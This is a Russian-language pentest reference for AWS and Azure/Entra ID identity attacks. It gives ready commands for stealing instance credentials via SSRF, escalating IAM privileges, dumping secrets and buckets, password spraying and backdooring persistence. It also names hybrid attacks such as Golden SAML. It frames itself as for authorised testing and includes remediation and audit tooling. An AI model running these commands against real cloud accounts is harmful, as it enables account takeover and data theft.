Справочник по пентесту облака и облачной идентичности: AWS (IAM, привилегии, сервисы) и Microsoft Azure / Entra ID (энумерация, token-атаки, эскалация ролей), плюс гибридная связка on-prem AD ↔ Entra. Облако в 2026 — это атака на идентичность, а не на периметр: ~95% инцидентов — мисконфиги клиента, а не уязвимости провайдера. Каждая техника: суть, предусловие, инструмент, команда. Только авторизованный scope (клиент + правила провайдера).
В облаке нет «периметра» в классическом смысле. Граница — это идентичность (IAM-роль, service principal, токен) и её права. Поэтому облачный пентест на 90% состоит из энумерации прав и поиска путей эскалации через мисконфиги, а не из эксплойтов сервисов. Подавляющее большинство облачных инцидентов — ошибки конфигурации на стороне клиента, а не уязвимости провайдера.
# Универсальный поток (AWS и Azure/Entra симметричны по логике) unauth → публичные ресурсы (S3/Blob), enum tenant/account, user enum creds → утечки, password spray, token theft, device-code phishing enum → права текущей идентичности, карта ролей и ресурсов privesc → мисконфиг IAM/ролей → повышение прав (часто one-shot) lateral → assume-role / pivot между подписками / service principals impact → доступ к данным, секреты, персистентность, exfil
| Инструмент | Облако | Роль |
|---|---|---|
| aws-cli | AWS | Нативный CLI — основа ручной энумерации/эксплуатации |
| Pacu | AWS | Offensive-фреймворк (RhinoSecurityLabs): модули enum/privesc/persist |
| CloudFox | AWS (+ multi) | Поиск exploitable attack paths по правам |
| enumerate-iam | AWS | Брут разрешённых IAM-действий текущего ключа |
| ROADtools | Entra | roadrecon: сбор данных из Microsoft Graph + offline-анализ/GUI |
| AzureHound | Azure/Entra | Коллектор для BloodHound: граф путей в облаке (Go) |
| MicroBurst / PowerZure | Azure | PowerShell-наборы: энумерация и эксплуатация |
| ScoutSuite / Prowler | multi | Аудит конфигурации (posture) — также purple-сторона |
До получения кред: публичные ресурсы, идентификаторы аккаунта, метадата-сервис через SSRF.
# Проверить бакет на анонимный доступ aws s3 ls s3://bucket-name --no-sign-request aws s3 cp s3://bucket-name/file - --no-sign-request # Поиск публичных бакетов по имени организации cloud_enum -k company # multi-cloud: S3/Blob/GCP # внешние индексы публичных бакетов: grayhatwarfare (через браузер)
Если на приложении есть SSRF, метадата-сервис EC2 (169.254.169.254) может выдать временные креды IAM-роли инстанса. IMDSv1 уязвим к простому GET; IMDSv2 требует токен (PUT), но некоторые SSRF позволяют и PUT. Классика — брешь Capital One (2019).
# IMDSv1 (GET) -- через SSRF в приложении http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> # IMDSv2 -- сначала токен (PUT), затем запрос с токеном TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> # полученные AccessKey/SecretKey/Token -> aws configure / профиль
--http-tokens required), hop-limit 1, S3 Block Public Access на уровне организации — закрывают самые частые unauth-векторы.С кредами первый шаг — понять, кто я и что мне разрешено. Вывод любого инструмента ограничен правами текущей идентичности.
aws configure --profile compromised # завести профиль с кредами aws sts get-caller-identity --profile compromised # ARN/аккаунт текущей идентичности # Свои политики (если есть права на чтение IAM) aws iam list-attached-user-policies --user-name target-user --profile compromised aws iam list-user-policies --user-name target-user --profile compromised
Когда явных прав на чтение IAM нет, enumerate-iam перебирает API-вызовы и определяет, какие действия разрешены текущему ключу (по принципу «вызов прошёл / AccessDenied»).
enumerate-iam --access-key AKIA... --secret-key ...
./cloudfox aws --profile compromised inventory # инвентаризация по регионам/сервисам ./cloudfox aws --profile compromised all-checks # все проверки (роли, секреты, эндпоинты) # подсвечивает: где лежат секреты, какие роли можно assume, exposed-ресурсы
Сердце AWS-пентеста. Известно 20+ путей эскалации через отдельные IAM-разрешения; Pacu автоматизирует их поиск, но логику нужно понимать.
python3 pacu.py Pacu> import_keys compromised # загрузить креды Pacu> run iam__enum_permissions # права текущей идентичности Pacu> run iam__enum_users_roles_policies_groups # полная карта IAM Pacu> run iam__privesc_scan # проверка 20+ путей эскалации Pacu> whoami # обновлённые права после эскалации
| Разрешение | Как эскалирует |
|---|---|
| iam:PassRole + ec2:RunInstances | Запустить инстанс с привилегированной ролью → забрать её креды через IMDS |
| iam:PassRole + lambda:* | Создать Lambda с привилегированной ролью → исполнить от её имени |
| iam:AttachRolePolicy | Прицепить AdministratorAccess к подконтрольной роли |
| iam:PutRolePolicy | Дописать inline-политику с нужными правами |
| iam:CreatePolicyVersion | Создать новую версию политики с расширенными правами |
| iam:CreateAccessKey | Создать ключ доступа другому (более привилегированному) пользователю |
| iam:UpdateLoginProfile | Сменить/задать пароль консоли другому пользователю |
| sts:AssumeRole | Принять роль с большими правами (если trust policy позволяет) |
# 1) прицепить админ-политику к подконтрольной роли aws iam attach-role-policy --role-name SupportRole \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile compromised # 2) принять роль -> получить временные admin-креды aws sts assume-role --role-arn arn:aws:iam::ACCT:role/SupportRole \ --role-session-name privesc --profile compromised # 3) сконфигурировать новый профиль из выданных Credentials
iam:PassRole, iam:CreatePolicyVersion, sts:AssumeRole без resource-ограничений = цепочка от минимального доступа до полного администрирования. Ремедиация: least privilege, явные resource-constraints, запрет wildcard на чувствительных IAM-действиях.После эскалации — доступ к данным и секретам, персистентность, понимание детекта.
# Secrets Manager и SSM Parameter Store -- частые хранилища кред aws secretsmanager list-secrets --profile p aws secretsmanager get-secret-value --secret-id name --profile p aws ssm get-parameters-by-path --path / --with-decryption --profile p # S3 -- листинг и выгрузка aws s3 ls --profile p aws s3 sync s3://bucket ./loot --profile p # Снапшоты EBS/RDS -- часто содержат данные, иногда публичны aws ec2 describe-snapshots --owner-ids ACCT --profile p
| Модуль Pacu | Действие |
|---|---|
| iam__backdoor_users_keys | Создать дополнительный ключ доступа (скрытная персистентность) |
| iam__backdoor_assume_role | Изменить trust policy роли под себя |
| lambda__backdoor_new_roles | Бэкдор через Lambda с привилегированной ролью |
| cloudtrail__disable | Отключить логирование CloudTrail (шумно, детектируемо) |
| guardduty__list_accounts | Проверить покрытие GuardDuty |
Microsoft Entra ID (бывш. Azure AD) — облачная идентичность M365/Azure. До кред: валидность tenant, перечисление пользователей, проверка MFA.
Эндпоинты входа M365 позволяют без аутентификации проверить существование tenant и валидность имён пользователей (по разнице ответов). Это даёт список для последующего spray.
# Существование/детали tenant (публичный эндпоинт) # https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1 # Перечисление валидных пользователей o365enum.py -u users.txt # по ответам auth-эндпоинта python3 o365creeper.py -f emails.txt # проверка существования адресов # Проверить, где НЕ включён MFA (по аккаунтам) MFASweep -u user@target.com -p 'pass' # какие сервисы доступны без MFA
С валидной идентичностью — собрать полную карту: пользователи, группы, роли, app registrations, service principals, ресурсы. Дальше — граф путей (AzureHound → BloodHound).
Базовый фреймворк разведки Entra: аутентифицируется, выкачивает объекты директории из Graph в локальную БД, даёт offline-анализ и GUI. Стартовая точка по Entra.
roadrecon auth -u user@target.com -p 'pass' # получить токен roadrecon gather # выкачать объекты директории roadrecon gui # локальный веб-анализ собранного
Коллектор BloodHound для облака: через Microsoft Graph и Azure REST API собирает идентичности, роли, права и ресурсы, выгружает JSON для построения графа атак. Работает удалённо, не требует исполнения внутри сети жертвы.
azurehound -u user@target.com -p 'pass' list --tenant <tenant-id> -o output.json # импорт output.json в BloodHound CE -> Azure attack paths # ищем: пути к Global Admin, владельцев app/SP, роли с эскалацией
Import-Module .\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base company # поиск Storage-блобов по имени # ScoutSuite для конфиг-обзора (раздел 10): scout azure --cli
Получение и кража идентичности в Entra — это пароли, токены и сессии, а не хэши. Здесь же — обход MFA через кражу сессии.
# Спрей одним паролем по списку (с учётом lockout / Smart Lockout) MSOLSpray --userlist users.txt --password 'Spring2026!' # Комбайн: enum + spray + exfil по M365 (Teams/OneDrive/Outlook) TeamFiltration --enum --spray --users users.txt --password 'Spring2026!'
Атака на device-code flow: жертва вводит код на легитимной странице Microsoft, а токен достаётся атакующему. Не требует пароля и часто проходит мимо части MFA-сценариев. Применяется только в рамках согласованного фишинг-учения.
Инструменты класса device-code/token: TokenTactics, ROADtools (roadtx). Конкретные payload-сценарии — в рамках письменно согласованной social-engineering программы (см. раздел про соц-инженерию в Codex).
AiTM-фишинг (например, Evilginx) проксирует логин и крадёт сессионную cookie уже после MFA — обходя его. Это инструмент социнженерии; здесь фиксируем как класс угрозы и детект-поверхность, без готового фишинг-кита.
Повышение прав в Entra/Azure идёт через роли директории, владение приложениями/service principal, и привилегированные ресурсы (Key Vault, Automation).
| Вектор | Суть |
|---|---|
| App / SP ownership | Владелец app registration может добавить себе client secret и действовать от имени service principal с его правами |
| Privileged role assignment | Право назначать роли (или членство в группе, дающей роль) → выдать себе Global/Privileged Role Admin |
| Dynamic group abuse | Если членство в привилег. группе вычисляется по атрибуту, которым можно управлять — попасть в неё |
| Key Vault access | Доступ к Key Vault → секреты/ключи/сертификаты других сервисов |
| Automation Account | RunAs/Managed Identity автоматизации часто переприлегированы → исполнение от их имени |
| Over-privileged SP | Service principal с Owner/Contributor на подписке = огромный blast radius |
Import-Module .\PowerZure.ps1 Get-AzureTarget # на что у текущей идентичности есть права # добавление client secret владельцем приложения (пример логики) # az ad app credential reset --id <appId> -> аутентификация как SP # роли и назначения через нативный Az CLI az role assignment list --assignee <objectId> --all az role assignment create --assignee <objectId> --role Owner --scope /subscriptions/<id>
Большинство реальных сред — гибридные: локальный AD синхронизирован с Entra через Entra Connect. Это двусторонний мост: компрометация одной стороны часто ведёт к другой. Прямое продолжение документа AD Attack Reference.
| Механизм sync | Что значит для атакующего |
|---|---|
| Password Hash Sync (PHS) | Сервер Entra Connect хранит материал для синка хэшей; его компрометация = массовый доступ |
| Pass-Through Auth (PTA) | Агент PTA на on-prem; компрометация агента → перехват аутентификаций |
| Seamless SSO | Аккаунт AZUREADSSOACC (его хэш) → подделка Kerberos-билетов к облаку (Silver-подобное) |
| Federation (ADFS) | Кража token-signing ключа ADFS → Golden SAML (выдать себя за кого угодно в облаке) |
# On-prem -> Cloud DA on-prem → дамп сервера Entra Connect → креды sync-аккаунта → доступ к Entra ADFS → token-signing key → Golden SAML → любой облачный пользователь AZUREADSSOACC hash → Silver Ticket к Azure-ресурсам # Cloud -> On-prem Global Admin → Intune/management → исполнение на on-prem устройствах Entra-роль с правами на гибридные объекты → влияние на on-prem
Те же инструменты, что находят мисконфиги для атаки, используются и для аудита/защиты. Это естественная purple-сторона облака.
| Инструмент | Облако | Назначение |
|---|---|---|
| ScoutSuite | multi (AWS/Azure/GCP) | Аудит конфигурации, отчёт по мисконфигам |
| Prowler | multi | Проверки best-practice / соответствия (CIS и др.) |
| CloudFox | AWS | Attack-path discovery (offensive-aware аудит) |
| Monkey365 | M365/Azure | Оценка конфигурации M365/Entra |
| CRT (CrowdStrike) | Azure/M365 | Проверка прав и конфигурации tenant |
scout aws # ScoutSuite по AWS (через настроенный профиль) scout azure --cli # ScoutSuite по Azure prowler aws # Prowler по AWS prowler azure # Prowler по Azure
Облачный пентест имеет специфику в правилах и в детекте — это нужно учесть и в подготовке, и в отчёте.
| Пункт | Зачем |
|---|---|
| Письменное разрешение клиента | Scope: аккаунты AWS / подписки / tenant Entra, границы, время |
| Политика провайдера | AWS/Azure ограничивают типы тестов (нельзя DoS, нельзя инфраструктуру провайдера/чужие tenant) |
| Логирование | Убедиться, что CloudTrail / Entra Sign-in / diagnostic logs включены — для воспроизводимости и purple |
| Очистка | Заранее фиксировать всё созданное (ключи, роли, SP, секреты) для cleanup |
# Структура раздела облака в отчёте 1. Identity exposure -- что доступно с текущей идентичности и почему 2. Privesc paths -- конкретные пути (IAM-действия / роли) с PoC 3. Data access -- к каким данным/секретам получен доступ 4. Blast radius -- масштаб (подписка/аккаунт/tenant), бизнес-риск 5. Detection -- что сработало/должно было (CloudTrail/Sign-in) 6. Remediation -- least privilege, IMDSv2, CA-политики, мониторинг